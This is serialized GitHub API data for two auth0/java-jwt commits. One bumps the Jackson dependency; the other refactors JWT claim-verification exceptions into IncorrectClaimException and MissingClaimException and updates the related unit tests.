followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminujk  }(j  web-flowj  J/j_  MDQ6VXNlcjE5ODY0NDQ3j  4https://avatars.githubusercontent.com/u/19864447?v=4j  h3ju  %https://api.github.com/users/web-flowj  https://github.com/web-flowj  /https://api.github.com/users/web-flow/followersj  <https://api.github.com/users/web-flow/following{/other_user}j  5https://api.github.com/users/web-flow/gists{/gist_id}j  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j  3https://api.github.com/users/web-flow/subscriptionsj  *https://api.github.com/users/web-flow/orgsj  +https://api.github.com/users/web-flow/reposj  6https://api.github.com/users/web-flow/events{/privacy}j  5https://api.github.com/users/web-flow/received_eventsj  Userj  uparents]}(j]  (e85a00a00543b2b17d0460e9c1c11c2aa31fbcbcju  \https://api.github.com/repos/auth0/java-jwt/commits/e85a00a00543b2b17d0460e9c1c11c2aa31fbcbcj  Qhttps://github.com/auth0/java-jwt/commit/e85a00a00543b2b17d0460e9c1c11c2aa31fbcbcuastats}(totalK	additionsK	deletionsKufiles]}(j]  (c4e1176463e31e211111eff92028e4811c06478efilenamelib/build.gradlestatusmodifiedj  Kj  KchangesKblob_urlbhttps://github.com/auth0/java-jwt/blob/652bf7dac4c10d1213609a2db6fb50815920ac09/lib%2Fbuild.gradleraw_urlahttps://github.com/auth0/java-jwt/raw/652bf7dac4c10d1213609a2db6fb50815920ac09/lib%2Fbuild.gradlecontents_urlthttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=652bf7dac4c10d1213609a2db6fb50815920ac09patchX0  @@ -72,7 +72,7 @@ javadoc {
 }
 
 dependencies {
-    implementation 'com.fasterxml.jackson.core:jackson-databind:2.14.0'
+    implementation 'com.fasterxml.jackson.core:jackson-databind:2.14.2'
 
     testImplementation 'org.bouncycastle:bcprov-jdk15on:1.70'
     testImplementation 'junit:junit:4.13.2'uau(7165e43d70173f3902201f3fdc66f9b2ff25b614}(sha(7165e43d70173f3902201f3fdc66f9b2ff25b614node_idEC_kwDOAQtL0doAKDcxNjVlNDNkNzAxNzNmMzkwMjIwMWYzZmRjNjZmOWIyZmYyNWI2MTQcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-03-25T20:22:10Zu	committer}(jܑ  
Poovamraj T Tjޑ  poovamraj@gmail.comj  2022-03-28T07:41:10ZumessageImproved exception handlingtree}(jԑ  (ee484e6075f2b1531a41aa57233779b0dc966fe5url^https://api.github.com/repos/auth0/java-jwt/git/trees/ee484e6075f2b1531a41aa57233779b0dc966fe5uj  `https://api.github.com/repos/auth0/java-jwt/git/commits/7165e43d70173f3902201f3fdc66f9b2ff25b614
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj  \https://api.github.com/repos/auth0/java-jwt/commits/7165e43d70173f3902201f3fdc66f9b2ff25b614html_urlQhttps://github.com/auth0/java-jwt/commit/7165e43d70173f3902201f3fdc66f9b2ff25b614comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/7165e43d70173f3902201f3fdc66f9b2ff25b614/commentsjڑ  }(login	poovamrajidJ j֑  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j  &https://api.github.com/users/poovamrajj  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}      	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj  }(j  	poovamrajj  J j֑  MDQ6VXNlcjE1OTEwNDI1j  4https://avatars.githubusercontent.com/u/15910425?v=4j  h3j  &https://api.github.com/users/poovamrajj  https://github.com/poovamrajj  0https://api.github.com/users/poovamraj/followersj  =https://api.github.com/users/poovamraj/following{/other_user}j
  6https://api.github.com/users/poovamraj/gists{/gist_id}j  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}j  4https://api.github.com/users/poovamraj/subscriptionsj  +https://api.github.com/users/poovamraj/orgsj  ,https://api.github.com/users/poovamraj/reposj  7https://api.github.com/users/poovamraj/events{/privacy}j  6https://api.github.com/users/poovamraj/received_eventsj  Userj  uparents]}(jԑ  (e37301aad52681174bcd2dc39844ab56408e7b8aj  \https://api.github.com/repos/auth0/java-jwt/commits/e37301aad52681174bcd2dc39844ab56408e7b8aj  Qhttps://github.com/auth0/java-jwt/commit/e37301aad52681174bcd2dc39844ab56408e7b8auastats}(totalM	additionsMX	deletionsKJufiles](}(jԑ  (ba19feb95e959c5a9f7c817c61ac50742ba41621filename0lib/src/main/java/com/auth0/jwt/JWTVerifier.javastatusmodifiedj4  K4j5  K!changesKUblob_urlhttps://github.com/auth0/java-jwt/blob/7165e43d70173f3902201f3fdc66f9b2ff25b614/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javaraw_urlhttps://github.com/auth0/java-jwt/raw/7165e43d70173f3902201f3fdc66f9b2ff25b614/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.java?ref=7165e43d70173f3902201f3fdc66f9b2ff25b614patchXj%  @@ -72,7 +72,8 @@ public Verification withIssuer(String... issuer) {
             List<String> value = isNullOrEmpty(issuer) ? null : Arrays.asList(issuer);
             checkIfNeedToRemove(PublicClaims.ISSUER, value, ((claim, decodedJWT) -> {
                 if (value == null || !value.contains(claim.asString())) {
-                    throw new InvalidClaimException("The Claim 'iss' value doesn't match the required issuer.");
+                    throw new IncorrectClaimException(
+                            "The Claim 'iss' value doesn't match the required issuer.", PublicClaims.ISSUER, claim);
                 }
                 return true;
             }));
@@ -89,15 +90,15 @@ public Verification withSubject(String subject) {
         public Verification withAudience(String... audience) {
             List<String> value = isNullOrEmpty(audience) ? null : Arrays.asList(audience);
             checkIfNeedToRemove(PublicClaims.AUDIENCE, value, ((claim, decodedJWT) ->
-                    assertValidAudienceClaim(decodedJWT.getAudience(), value, true)));
+                    assertValidAudienceClaim(claim, decodedJWT.getAudience(), value, true)));
             return this;
         }
 
         @Override
         public Verification withAnyOfAudience(String... audience) {
             List<String> value = isNullOrEmpty(audience) ? null : Arrays.asList(audience);
             checkIfNeedToRemove(PublicClaims.AUDIENCE, value, ((claim, decodedJWT) ->
-                    assertValidAudienceClaim(decodedJWT.getAudience(), value, false)));
+                    assertValidAudienceClaim(claim, decodedJWT.getAudience(), value, false)));
             return this;
         }
 
@@ -144,12 +145,7 @@ public Verification withJWTId(String jwtId) {
         @Override
         public Verification withClaimPresence(String name) throws IllegalArgumentException {
             assertNonNull(name);
-            withClaim(name, ((claim, decodedJWT) -> {
-                if (claim.isMissing()) {
-                    throw new InvalidClaimException(String.format("The Claim '%s' is not present in the JWT.", name));
-                }
-                return true;
-            }));
+            withClaim(name, ((claim, decodedJWT) -> assertClaimPresence(name, claim)));
             return this;
         }
 
@@ -272,13 +268,13 @@ private void addMandatoryClaimChecks() {
             long notBeforeLeeway = getLeewayFor(PublicClaims.NOT_BEFORE);
             long issuedAtLeeway = getLeewayFor(PublicClaims.ISSUED_AT);
 
-            checkIfNeedToRemove(PublicClaims.EXPIRES_AT, expiresAtLeeway, ((claim, decodedJWT) ->
-                    assertValidInstantClaim(claim.asInstant(), expiresAtLeeway, true)));
-            checkIfNeedToRemove(PublicClaims.NOT_BEFORE, notBeforeLeeway, ((claim, decodedJWT) ->
-                    assertValidInstantClaim(claim.asInstant(), notBeforeLeeway, false)));
+            expectedChecks.put(PublicClaims.EXPIRES_AT, (claim, decodedJWT) ->
+                    assertValidInstantClaim(PublicClaims.EXPIRES_AT, claim, expiresAtLeeway, true));
+            expectedChecks.put(PublicClaims.NOT_BEFORE, (claim, decodedJWT) ->
+                    assertValidInstantClaim(PublicClaims.NOT_BEFORE, claim, notBeforeLeeway, false));
             if (!ignoreIssuedAt) {
-                checkIfNeedToRemove(PublicClaims.ISSUED_AT, issuedAtLeeway, ((claim, decodedJWT) ->
-                        assertValidInstantClaim(claim.asInstant(), issuedAtLeeway, false)));
+                expectedChecks.put(PublicClaims.ISSUED_AT, (claim, decodedJWT) ->
+                        assertValidInstantClaim(PublicClaims.ISSUED_AT, claim, issuedAtLeeway, false));
             }
         }
 
@@ -305,33 +301,50 @@ private boolean assertValidCollectionClaim(Claim claim, Object[] expectedClaimVa
             return claimArr.containsAll(valueArr);
         }
 
-        private boolean assertValidInstantClaim(Instant claimVal, long leeway, boolean shouldBeFuture) {
+        private boolean assertValidInstantClaim(String claimName, Claim claim, long leeway, boolean shouldBeFuture) {
+            Instant claimVal = claim.asInstant();
             Instant now = clock.instant().truncatedTo(ChronoUnit.SECONDS);
+            boolean isValid;
             if (shouldBeFuture) {
-                return assertInstantIsFuture(claimVal, leeway, now);
+                isValid = assertInstantIsFuture(claimVal, leeway, now);
+                if (!isValid) {
+                    throw new TokenExpiredException(String.format("The Token has expired on %s.", claimVal), claimVal);
+                }
             } else {
-                return assertInstantIsPast(claimVal, leeway, now);
+                isValid = assertInstantIsPast(claimVal, leeway, now);
+                if (!isValid) {
+                    throw new IncorrectClaimException(
+                            String.format("The Token can't be used before %s.", claimVal), claimName, claim);
+                }
             }
+            return true;
         }
 
         private boolean assertInstantIsFuture(Instant claimVal, long leeway, Instant now) {
-            if (claimVal != null && now.minus(Duration.ofSeconds(leeway)).isAfter(claimVal)) {
-                throw new TokenExpiredException(String.format("The Token has expired on %s.", claimVal));
-            }
-            return true;
+            return !(claimVal != null && now.minus(Duration.ofSeconds(leeway)).isAfter(claimVal));
         }
 
         private boolean assertInstantIsPast(Instant claimVal, long leeway, Instant now) {
-            if (claimVal != null && now.plus(Duration.ofSeconds(leeway)).isBefore(claimVal)) {
-                throw new InvalidClaimException(String.format("The Token can't be used before %s.", claimVal));
-            }
-            return true;
+            return !(claimVal != null && now.plus(Duration.ofSeconds(leeway)).isBefore(claimVal));
         }
 
-        private boolean assertValidAudienceClaim(List<String> audience, List<String> values, boolean shouldContainAll) {
+        private boolean assertValidAudienceClaim(
+                Claim claim,
+                List<String> audience,
+                List<String> values,
+                boolean shouldContainAll
+        ) {
             if (audience == null || (shouldContainAll && !audience.containsAll(values))
                     || (!shouldContainAll && Collections.disjoint(audience, values))) {
-                throw new InvalidClaimException("The Claim 'aud' value doesn't contain the required audience.");
+                throw new IncorrectClaimException(
+                        "The Claim 'aud' value doesn't contain the required audience.", PublicClaims.AUDIENCE, claim);
+            }
+            return true;
+        }
+
+        private boolean assertClaimPresence(String name, Claim claim) {
+            if (claim.isMissing()) {
+                throw new MissingClaimException(name);
             }
             return true;
         }
@@ -353,7 +366,8 @@ private void checkIfNeedToRemove(String name, Object value, BiPredicate<Claim, D
                 expectedChecks.remove(name);
                 return;
             }
-            expectedChecks.put(name, predicate);
+            expectedChecks.put(name, (claim, decodedJWT) -> assertClaimPresence(name, claim)
+                    && predicate.test(claim, decodedJWT));
         }
 
         private boolean isNullOrEmpty(String[] args) {
@@ -381,7 +395,8 @@ private boolean isNullOrEmpty(String[] args) {
      *                                        the one defined in the {@link JWTVerifier}.
      * @throws SignatureVerificationException if the signature is invalid.
      * @throws TokenExpiredException          if the token has expired.
-     * @throws InvalidClaimException          if a claim contained a different value than the expected one.
+     * @throws MissingClaimException          if a claim to be verified is missing.
+     * @throws IncorrectClaimException        if a claim contained a different value than the expected one.
      */
     @Override
     public DecodedJWT verify(String token) throws JWTVerificationException {
@@ -398,7 +413,8 @@ public DecodedJWT verify(String token) throws JWTVerificationException {
      *                                        the one defined in the {@link JWTVerifier}.
      * @throws SignatureVerificationException if the signature is invalid.
      * @throws TokenExpiredException          if the token has expired.
-     * @throws InvalidClaimException          if a claim contained a different value than the expected one.
+     * @throws MissingClaimException          if a claim to be verified is missing.
+     * @throws IncorrectClaimException        if a claim contained a different value than the expected one.
      */
     @Override
     public DecodedJWT verify(DecodedJWT jwt) throws JWTVerificationException {
@@ -426,8 +442,11 @@ private void verifyClaims(DecodedJWT jwt, Map<String, BiPredicate<Claim, Decoded
             isValid = expectedCheck.test(claim, jwt);
 
             if (!isValid) {
-                throw new InvalidClaimException(
-                        String.format("The Claim '%s' value doesn't match the required one.", claimName));
+                throw new IncorrectClaimException(
+                        String.format("The Claim '%s' value doesn't match the required one.", claimName),
+                        claimName,
+                        claim
+                );
             }
         }
     }u}(jԑ  (fc02b7559e8cbbdd5096a368974438ace80635b9j:  Glib/src/main/java/com/auth0/jwt/exceptions/IncorrectClaimException.javaj<  addedj4  Kj5  K j>  Kj?  https://github.com/auth0/java-jwt/blob/7165e43d70173f3902201f3fdc66f9b2ff25b614/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FIncorrectClaimException.javajA  https://github.com/auth0/java-jwt/raw/7165e43d70173f3902201f3fdc66f9b2ff25b614/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FIncorrectClaimException.javajC  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FIncorrectClaimException.java?ref=7165e43d70173f3902201f3fdc66f9b2ff25b614jE  X  @@ -0,0 +1,26 @@
+package com.auth0.jwt.exceptions;
+
+import com.auth0.jwt.interfaces.Claim;
+
+/**
+ * This exception is thrown when the expected value is not found while verifying the Claims.
+ */
+public class IncorrectClaimException extends InvalidClaimException {
+    private final String claimName;
+
+    private final Claim claimValue;
+
+    public IncorrectClaimException(String message, String claimName, Claim claim) {
+        super(message);
+        this.claimName = claimName;
+        this.claimValue = claim;
+    }
+
+    public String getClaimName() {
+        return claimName;
+    }
+
+    public Claim getClaimValue() {
+        return claimValue;
+    }
+}
\ No newline at end of fileu}(jԑ  (c5b8eb64a583f7949de874125c5742653f2ba96bj:  Elib/src/main/java/com/auth0/jwt/exceptions/InvalidClaimException.javaj<  modifiedj4  Kj5  Kj>  Kj?  https://github.com/auth0/java-jwt/blob/7165e43d70173f3902201f3fdc66f9b2ff25b614/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FInvalidClaimException.javajA  https://github.com/auth0/java-jwt/raw/7165e43d70173f3902201f3fdc66f9b2ff25b614/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FInvalidClaimException.javajC  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FInvalidClaimException.java?ref=7165e43d70173f3902201f3fdc66f9b2ff25b614jE  @@ -7,4 +7,4 @@ public class InvalidClaimException extends JWTVerificationException {
     public InvalidClaimException(String message) {
         super(message);
     }
-}
+}
\ No newline at end of fileu}(jԑ  (14e6d4b5e522dc96c5ca847c839b6ab11bb64d47j:  Elib/src/main/java/com/auth0/jwt/exceptions/MissingClaimException.javaj<  addedj4  Kj5  K j>  Kj?  https://github.com/auth0/java-jwt/blob/7165e43d70173f3902201f3fdc66f9b2ff25b614/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FMissingClaimException.javajA  https://github.com/auth0/java-jwt/raw/7165e43d70173f3902201f3fdc66f9b2ff25b614/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FMissingClaimException.javajC  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FMissingClaimException.java?ref=7165e43d70173f3902201f3fdc66f9b2ff25b614jE  X  @@ -0,0 +1,18 @@
+package com.auth0.jwt.exceptions;
+
+/**
+ * This exception is thrown when the claim to be verified is missing
+ */
+public class MissingClaimException extends InvalidClaimException {
+
+    private final String claimName;
+
+    public MissingClaimException(String claimName) {
+        super(String.format("The Claim '%s' is not present in the JWT.", claimName));
+        this.claimName = claimName;
+    }
+
+    public String getClaimName() {
+        return claimName;
+    }
+}u}(jԑ  (42ab090d4c0020ee15245679f0001bf48ae13246j:  Elib/src/main/java/com/auth0/jwt/exceptions/TokenExpiredException.javaj<  modifiedj4  K
j5  Kj>  Kj?  https://github.com/auth0/java-jwt/blob/7165e43d70173f3902201f3fdc66f9b2ff25b614/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FTokenExpiredException.javajA  https://github.com/auth0/java-jwt/raw/7165e43d70173f3902201f3fdc66f9b2ff25b614/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FTokenExpiredException.javajC  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FTokenExpiredException.java?ref=7165e43d70173f3902201f3fdc66f9b2ff25b614jE  X_  @@ -1,13 +1,22 @@
 package com.auth0.jwt.exceptions;
 
+import java.time.Instant;
+
 /**
  * The exception that is thrown if the token is expired.
  */
 public class TokenExpiredException extends JWTVerificationException {
 
     private static final long serialVersionUID = -7076928975713577708L;
 
-    public TokenExpiredException(String message) {
+    private final Instant expiredOn;
+
+    public TokenExpiredException(String message, Instant expiredOn) {
         super(message);
+        this.expiredOn = expiredOn;
+    }
+
+    public Instant getExpiredOn() {
+        return expiredOn;
     }
 }u}(jԑ  (456d1515e6c911b9bd54f8e8fc4025ca53b5124ej:  7lib/src/main/java/com/auth0/jwt/impl/JsonNodeClaim.javaj<  modifiedj4  Kj5  Kj>  Kj?  https://github.com/auth0/java-jwt/blob/7165e43d70173f3902201f3fdc66f9b2ff25b614/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaim.javajA  https://github.com/auth0/java-jwt/raw/7165e43d70173f3902201f3fdc66f9b2ff25b614/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaim.javajC  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaim.java?ref=7165e43d70173f3902201f3fdc66f9b2ff25b614jE  X0  @@ -177,5 +177,4 @@ static Claim claimFromNode(JsonNode node, ObjectReader objectReader) {
         return new JsonNodeClaim(node, objectReader);
     }
 
-}
-//todo test all as* methods in JsonNodeClaim to ensure isMissing isNull calls are made
\ No newline at end of file
+}
\ No newline at end of fileu}(jԑ  (1cf79c8f3f6bb77efca297b5d2a3465b52e407b3j:  4lib/src/test/java/com/auth0/jwt/JWTVerifierTest.javaj<  modifiedj4  Kzj5  K%j>  Kj?  https://github.com/auth0/java-jwt/blob/7165e43d70173f3902201f3fdc66f9b2ff25b614/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.javajA  https://github.com/auth0/java-jwt/raw/7165e43d70173f3902201f3fdc66f9b2ff25b614/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.javajC  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.java?ref=7165e43d70173f3902201f3fdc66f9b2ff25b614jE  XP  @@ -1,9 +1,7 @@
 package com.auth0.jwt;
 
 import com.auth0.jwt.algorithms.Algorithm;
-import com.auth0.jwt.exceptions.AlgorithmMismatchException;
-import com.auth0.jwt.exceptions.InvalidClaimException;
-import com.auth0.jwt.exceptions.TokenExpiredException;
+import com.auth0.jwt.exceptions.*;
 import com.auth0.jwt.impl.PublicClaims;
 import com.auth0.jwt.interfaces.Claim;
 import com.auth0.jwt.interfaces.DecodedJWT;
@@ -16,13 +14,14 @@
 import java.time.Duration;
 import java.time.Instant;
 import java.time.ZoneId;
+import java.util.Arrays;
 import java.util.Collections;
 import java.util.Date;
 import java.util.function.BiPredicate;
 
+import static com.auth0.jwt.matchers.CustomMatchers.*;
 import static org.hamcrest.MatcherAssert.assertThat;
 import static org.hamcrest.Matchers.*;
-import static org.mockito.ArgumentMatchers.isNotNull;
 import static org.mockito.Mockito.mock;
 
 public class JWTVerifierTest {
@@ -74,8 +73,11 @@ public void shouldValidateMultipleIssuers() {
 
     @Test
     public void shouldThrowOnInvalidIssuer() {
-        exception.expect(InvalidClaimException.class);
+        exception.expect(IncorrectClaimException.class);
         exception.expectMessage("The Claim 'iss' value doesn't match the required issuer.");
+        exception.expect(hasClaimName(PublicClaims.ISSUER));
+        exception.expect(hasClaimValue("auth0", String.class));
+
         String token = "eyJhbGciOiJIUzI1NiIsImN0eSI6IkpXVCJ9.eyJpc3MiOiJhdXRoMCJ9.mZ0m_N1J4PgeqWmi903JuUoDRZDBPB7HwkS4nVyWH1M";
         JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withIssuer("invalid")
@@ -85,16 +87,33 @@ public void shouldThrowOnInvalidIssuer() {
 
     @Test
     public void shouldThrowOnNullIssuer() {
-        exception.expect(InvalidClaimException.class);
+        exception.expect(IncorrectClaimException.class);
         exception.expectMessage("The Claim 'iss' value doesn't match the required issuer.");
+        exception.expect(hasClaimName(PublicClaims.ISSUER));
+        exception.expect(hasNullClaim());
 
-        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.e30.t-IDcSemACt8x4iTMCda8Yhe3iZaWbvV5XKSTbuAn0M";
+        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOm51bGx9.OoiCLipSfflWxkFX2rytvtwEiJ8eAL0opkdXY_ap0qA";
         JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withIssuer("auth0")
                 .build()
                 .verify(token);
     }
 
+    @Test
+    public void shouldThrowOnMissingIssuer() {
+        exception.expect(MissingClaimException.class);
+        exception.expectMessage("The Claim 'iss' is not present in the JWT.");
+        exception.expect(hasMissingClaimName("iss"));
+
+        String jwt = JWTCreator.init()
+                .sign(Algorithm.HMAC256("secret"));
+
+        JWTVerifier.init(Algorithm.HMAC256("secret"))
+                .withIssuer("nope")
+                .build()
+                .verify(jwt);
+    }
+
     @Test
     public void shouldValidateSubject() {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.Rq8IxqeX7eA6GgYxlcHdPFVRNFFZc5rEI3MQTZZbK3I";
@@ -108,8 +127,11 @@ public void shouldValidateSubject() {
 
     @Test
     public void shouldThrowOnInvalidSubject() {
-        exception.expect(InvalidClaimException.class);
+        exception.expect(IncorrectClaimException.class);
         exception.expectMessage("The Claim 'sub' value doesn't match the required one.");
+        exception.expect(hasClaimName(PublicClaims.SUBJECT));
+        exception.expect(hasClaimValue("1234567890", String.class));
+
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.Rq8IxqeX7eA6GgYxlcHdPFVRNFFZc5rEI3MQTZZbK3I";
         JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withSubject("invalid")
@@ -153,7 +175,7 @@ public void shouldAllowWithAnyOfAudienceVerificationToOverrideWithAudience() {
         }
 
         assertThat(exception, is(notNullValue()));
-        assertThat(exception, is(instanceOf(InvalidClaimException.class)));
+        assertThat(exception, is(instanceOf(IncorrectClaimException.class)));
         assertThat(exception.getMessage(), is("The Claim 'aud' value doesn't contain the required audience."));
 
         DecodedJWT jwt = verification.withAnyOfAudience("Mark", "Jim").build().verify(token);
@@ -175,7 +197,7 @@ public void shouldAllowWithAudienceVerificationToOverrideWithAnyOfAudience() {
         }
 
         assertThat(exception, is(notNullValue()));
-        assertThat(exception, is(instanceOf(InvalidClaimException.class)));
+        assertThat(exception, is(instanceOf(IncorrectClaimException.class)));
         assertThat(exception.getMessage(), is("The Claim 'aud' value doesn't contain the required audience."));
 
         DecodedJWT jwt = verification.withAudience("Mark").build().verify(token);
@@ -208,8 +230,10 @@ public void shouldAcceptAudienceWhenAnyOfAudienceAndAllContained() {
 
     @Test
     public void shouldThrowWhenAudienceHasNoneOfExpectedAnyOfAudience() {
-        exception.expect(InvalidClaimException.class);
+        exception.expect(IncorrectClaimException.class);
         exception.expectMessage("The Claim 'aud' value doesn't contain the required audience.");
+        exception.expect(hasClaimName(PublicClaims.AUDIENCE));
+        exception.expect(hasClaimValueArray(new String[] {"Mark","David","John"}, String[].class));
 
         // Token 'aud' = ["Mark", "David", "John"]
         String tokenArr = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOlsiTWFyayIsIkRhdmlkIiwiSm9obiJdfQ.DX5xXiCaYvr54x_iL0LZsJhK7O6HhAdHeDYkgDeb0Rw";
@@ -221,8 +245,10 @@ public void shouldThrowWhenAudienceHasNoneOfExpectedAnyOfAudience() {
 
     @Test
     public void shouldThrowWhenAudienceClaimDoesNotContainAllExpected() {
-        exception.expect(InvalidClaimException.class);
+        exception.expect(IncorrectClaimException.class);
         exception.expectMessage("The Claim 'aud' value doesn't contain the required audience.");
+        exception.expect(hasClaimName(PublicClaims.AUDIENCE));
+        exception.expect(hasClaimValueArray(new String[] {"Mark","David","John"}, String[].class));
 
         // Token 'aud' = ["Mark", "David", "John"]
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOlsiTWFyayIsIkRhdmlkIiwiSm9obiJdfQ.DX5xXiCaYvr54x_iL0LZsJhK7O6HhAdHeDYkgDeb0Rw";
@@ -234,11 +260,27 @@ public void shouldThrowWhenAudienceClaimDoesNotContainAllExpected() {
 
     @Test
     public void shouldThrowWhenAudienceClaimIsNull() {
-        exception.expect(InvalidClaimException.class);
+        exception.expect(IncorrectClaimException.class);
         exception.expectMessage("The Claim 'aud' value doesn't contain the required audience.");
+        exception.expect(hasClaimName(PublicClaims.AUDIENCE));
+        exception.expect(hasNullClaim());
 
         // Token 'aud': null
+        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwiYXVkIjpudWxsfQ.bpPyquk3b8KepErKgTidjJ1ZwiOGuoTxam2_x7cElKI";
+        JWTVerifier.init(Algorithm.HMAC256("secret"))
+                .withAudience("nope")
+                .build()
+                .verify(token);
+    }
+
+    @Test
+    public void shouldThrowWhenAudienceClaimIsMissing(){
+        exception.expect(MissingClaimException.class);
+        exception.expectMessage("The Claim 'aud' is not present in the JWT.");
+        exception.expect(hasMissingClaimName("aud"));
+
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.Rq8IxqeX7eA6GgYxlcHdPFVRNFFZc5rEI3MQTZZbK3I";
+
         JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withAudience("nope")
                 .build()
@@ -247,11 +289,13 @@ public void shouldThrowWhenAudienceClaimIsNull() {
 
     @Test
     public void shouldThrowWhenAudienceClaimIsNullWithAnAudience() {
-        exception.expect(InvalidClaimException.class);
+        exception.expect(IncorrectClaimException.class);
         exception.expectMessage("The Claim 'aud' value doesn't contain the required audience.");
+        exception.expect(hasClaimName(PublicClaims.AUDIENCE));
+        exception.expect(hasClaimValueArray(new String[] {null}, String[].class));
 
-        // Token 'aud': null
-        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.Rq8IxqeX7eA6GgYxlcHdPFVRNFFZc5rEI3MQTZZbK3I";
+        // Token 'aud': [null]
+        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwiYXVkIjpbbnVsbF19.2cBf7FbkX52h8Vmjnl1DY1PYe_J_YP0KsyeoeYmuca8";
         JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withAnyOfAudience("nope")
                 .build()
@@ -340,8 +384,10 @@ public void shouldThrowOnNullCustomClaimName() {
 
     @Test
     public void shouldThrowWhenExpectedArrayClaimIsMissing() {
-        exception.expect(InvalidClaimException.class);
-        exception.expectMessage("The Claim 'missing' value doesn't match the required one.");
+        exception.expect(MissingClaimException.class);
+        exception.expectMessage("The Claim 'missing' is not present in the JWT.");
+        exception.expect(hasMissingClaimName("missing"));
+
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhcnJheSI6WzEsMiwzXX0.wKNFBcMdwIpdF9rXRxvexrzSM6umgSFqRO1WZj992YM";
         JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withArrayClaim("missing", 1, 2, 3)
